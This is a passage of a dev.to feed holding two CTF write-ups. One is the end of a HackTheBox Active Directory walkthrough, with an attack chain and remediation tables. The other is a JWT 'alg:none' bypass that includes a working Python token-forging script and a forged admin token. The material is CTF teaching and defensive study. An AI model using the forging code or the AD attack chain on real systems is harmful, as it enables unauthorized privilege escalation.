&lt;/span&gt;logging&lt;span class="se"&gt;\a&lt;/span&gt;dministrator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.7 Root Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;root.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FullName&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;FullName&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;--------&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;C:\Users\toby.brynleigh\Desktop\root.txt&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\toby.brynleigh\Desktop\root.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;HTB&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Logging Attack Chain
│
├─ Reconnaissance
│   ├─ Nmap → AD Domain Controller (DC01.logging.htb)
│   ├─ DNS discovery → logging.htb / dc01.logging.htb
│   └─ Identify services: LDAP, SMB, Kerberos, WSUS, HTTP
│
├─ Initial Access (SMB / Credential Leak)
│   ├─ Access Logs share via SMB
│   ├─ Extract IdentitySync credentials
│   └─ svc_recovery account discovered (password rotated, guessed via increment)
│
├─ Authentication Bypass
│   ├─ Account restricted from SMB/LDAP login (STATUS_ACCOUNT_RESTRICTION)
│   ├─ Kerberos TGT requested (Impacket getTGT)
│   └─ Ticket-based authentication achieved
│
├─ Domain Enumeration
│   ├─ BloodHound collection (svc_recovery)
│   ├─ Identify GenericWrite → msa_health$
│   └─ Attack path confirmed
│
├─ Credential Abuse / AD Privilege Escalation
│   ├─ Attempt password reset → failed (GenericWrite insufficient)
│   ├─ Shadow Credentials attack (Certipy)
│   └─ NT hash of msa_health$ obtained
│
├─ Lateral Movement
│   ├─ Pass-the-Hash via Evil-WinRM
│   ├─ Access to msa_health$ shell
│   └─ Discover scheduled task: UpdateChecker Agent
│
├─ Local Privilege Escalation
│   ├─ Task writes to shared, world-writable directory (C:\Share)
│   ├─ UpdateMonitor.exe analysis (.NET/x86 binary)
│   ├─ Unsanitized ZIP extraction vulnerability identified
│   └─ Malicious DLL execution → shell as jaylee.clifton (user flag)
│
├─ ADCS Abuse
│   ├─ UpdateSrv template abuse (ENROLLEE_SUPPLIES_SUBJECT)
│   ├─ Certificate forged for wsus.logging.htb
│   └─ Server-identity spoofing capability gained
│
├─ DNS / Infrastructure Manipulation
│   ├─ MachineAccountQuota abused (attacker01$)
│   ├─ DNS record modified → wsus.logging.htb → attacker IP
│   └─ Traffic redirected to attacker-controlled system
│
├─ WSUS Exploitation (Final Privilege Escalation)
│   ├─ Rogue WSUS server deployed (patched pywsus, HTTPS)
│   ├─ Forged TLS certificate used to establish trust
│   ├─ ForceSync task triggers near-immediate update sync
│   └─ SYSTEM-level payload execution
│
└─ Domain Compromise
    ├─ SYSTEM/Administrator access on DC01 achieved
    ├─ Full domain control obtained
    └─ root.txt retrieved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;Vulnerability / Weakness&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;Credential leakage in SMB &lt;code&gt;Logs&lt;/code&gt; share&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;svc_recovery&lt;/code&gt; credentials exposed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication Control&lt;/td&gt;
&lt;td&gt;Weak/guessable service-account password rotation policy&lt;/td&gt;
&lt;td&gt;Rotated password recovered via increment pattern&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication Control&lt;/td&gt;
&lt;td&gt;Overly permissive service account logon restrictions&lt;/td&gt;
&lt;td&gt;Forced (but still viable) Kerberos-only authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AD Misconfiguration&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;GenericWrite&lt;/code&gt; on &lt;code&gt;msa_health$&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Shadow Credentials attack possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AD Security Design&lt;/td&gt;
&lt;td&gt;Improper ACLs on service/gMSA accounts&lt;/td&gt;
&lt;td&gt;NT hash extraction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local Privilege Escalation&lt;/td&gt;
&lt;td&gt;World-writable directory used by a SYSTEM-run scheduled task&lt;/td&gt;
&lt;td&gt;SYSTEM-context code execution via DLL planting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Task Security&lt;/td&gt;
&lt;td&gt;Unsanitized ZIP extraction in &lt;code&gt;UpdateMonitor.exe&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Arbitrary malicious payload execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ADCS Configuration&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; enabled on &lt;code&gt;UpdateSrv&lt;/code&gt; template&lt;/td&gt;
&lt;td&gt;Certificate-based service impersonation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate Trust Model&lt;/td&gt;
&lt;td&gt;Weak validation of internal service certificates&lt;/td&gt;
&lt;td&gt;WSUS server spoofing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS Security&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;MachineAccountQuota&lt;/code&gt; allows unprivileged DNS record modification&lt;/td&gt;
&lt;td&gt;Traffic redirection / MITM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WSUS Trust Mechanism&lt;/td&gt;
&lt;td&gt;Trusted update source without additional out-of-band verification&lt;/td&gt;
&lt;td&gt;Remote SYSTEM code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  8. Remediations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Recommendation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credentials stored in plaintext logs on an SMB share&lt;/td&gt;
&lt;td&gt;Never log credentials, even for internal debugging; restrict &lt;code&gt;Logs&lt;/code&gt; share to a dedicated service group and audit share ACLs regularly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Predictable password rotation pattern&lt;/td&gt;
&lt;td&gt;Enforce truly random password rotation (e.g., managed via a vault/gMSA) rather than a human-guessable year-increment scheme&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service account restricted from SMB/LDAP but usable over Kerberos&lt;/td&gt;
&lt;td&gt;Apply logon restrictions consistently across all protocols (&lt;code&gt;Deny logon locally&lt;/code&gt;, &lt;code&gt;Deny logon through Remote Desktop&lt;/code&gt;, and equivalent Kerberos-level restrictions), not just SMB/NTLM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Excessive &lt;code&gt;GenericWrite&lt;/code&gt; grants on privileged/gMSA accounts&lt;/td&gt;
&lt;td&gt;Apply least-privilege ACLs; audit BloodHound-style attack paths regularly and remove unnecessary write permissions on sensitive AD objects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shadow Credentials feasible against gMSA&lt;/td&gt;
&lt;td&gt;Monitor for &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt; attribute changes; alert on unexpected Key Credential additions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;World-writable directory consumed by a privileged scheduled task&lt;/td&gt;
&lt;td&gt;Restrict write access on &lt;code&gt;C:\Share&lt;/code&gt; (or any directory read by privileged automation) to only the accounts/services that need it; never let a SYSTEM/Administrator task trust files placed by standard users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unsanitized ZIP extraction and DLL loading in &lt;code&gt;UpdateMonitor.exe&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Validate archive contents and enforce code signing before loading any DLL; run the update process with the least privilege required rather than as &lt;code&gt;Administrator&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; on a broadly-enrollable certificate template&lt;/td&gt;
&lt;td&gt;Remove &lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; unless strictly required; restrict enrollment rights to the minimum necessary security group and require manager approval for sensitive templates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;MachineAccountQuota&lt;/code&gt; left at default (10)&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; for non-administrative users unless machine joins are a required workflow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated/implicit trust of internal WSUS traffic&lt;/td&gt;
&lt;td&gt;Enforce WSUS-over-HTTPS with certificate pinning or mutual TLS, and monitor DNS record changes for infrastructure hostnames like &lt;code&gt;wsus.&amp;lt;domain&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>FAM CTF : The Vault Door Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 18 Jul 2026 12:34:31 +0000</pubDate>
      <link>https://dev.to/exploitnotes/fam-ctf-the-vault-door-writeup-4dgc</link>
      <guid>https://dev.to/exploitnotes/fam-ctf-the-vault-door-writeup-4dgc</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a &lt;code&gt;role&lt;/code&gt; claim in a JWT. The app issues a user-role token on login, stored in the &lt;code&gt;nx_access&lt;/code&gt; cookie, and trusts the claims inside it without properly re-verifying the signature on every request.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Logged in as a normal user (&lt;code&gt;strawhat&lt;/code&gt;) and captured the request to &lt;code&gt;/famctf/dashboard&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding the JWT:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Header&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JWT"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"strawhat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dashboard UI showed an "Admin Vault" card locked behind &lt;code&gt;Admin only&lt;/code&gt;, confirming &lt;code&gt;role&lt;/code&gt; was the authorization check.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attempt 1 - Naive tampering (failed)
&lt;/h2&gt;

&lt;p&gt;Editing the payload directly to &lt;code&gt;"role":"admin"&lt;/code&gt; while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server &lt;em&gt;does&lt;/em&gt; verify the signature against the payload, but didn't yet confirm &lt;em&gt;how strictly&lt;/em&gt; it verifies the algorithm itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attempt 2 - &lt;code&gt;alg:none&lt;/code&gt; bypass (success)
&lt;/h2&gt;

&lt;p&gt;Many JWT libraries historically honor the &lt;code&gt;alg&lt;/code&gt; field declared in the token header to decide &lt;em&gt;how&lt;/em&gt; to verify, including a &lt;code&gt;none&lt;/code&gt; algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject &lt;code&gt;none&lt;/code&gt;, an attacker can forge any payload with zero knowledge of the signing secret.&lt;/p&gt;

&lt;p&gt;Forged header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JWT"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Forged payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"strawhat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Forging Script
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;b64url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlsafe_b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;typ&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;JWT&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sub&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;strawhat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;b64url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;separators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;b64url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;separators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="c1"&gt;# alg:none tokens carry an empty signature segment (trailing dot, no bytes after it)
&lt;/span&gt;&lt;span class="n"&gt;forged_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (used as the &lt;code&gt;nx_access&lt;/code&gt; cookie value):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;eyJhbGciOiJub&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="err"&gt;lIiwidHlwIjoiSldUIn&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;.eyJzdWIiOiJzdHJhd&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;hhdCIsInJvbGUiOiJhZG&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;pbiJ&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script was also parameterized to emit &lt;code&gt;None&lt;/code&gt; and &lt;code&gt;NONE&lt;/code&gt; casing variants, since some JWT libraries do case-sensitive matching on &lt;code&gt;alg&lt;/code&gt; and only reject the lowercase &lt;code&gt;none&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;alg_variant&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;none&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;None&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;NONE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;alg_variant&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;typ&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;JWT&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
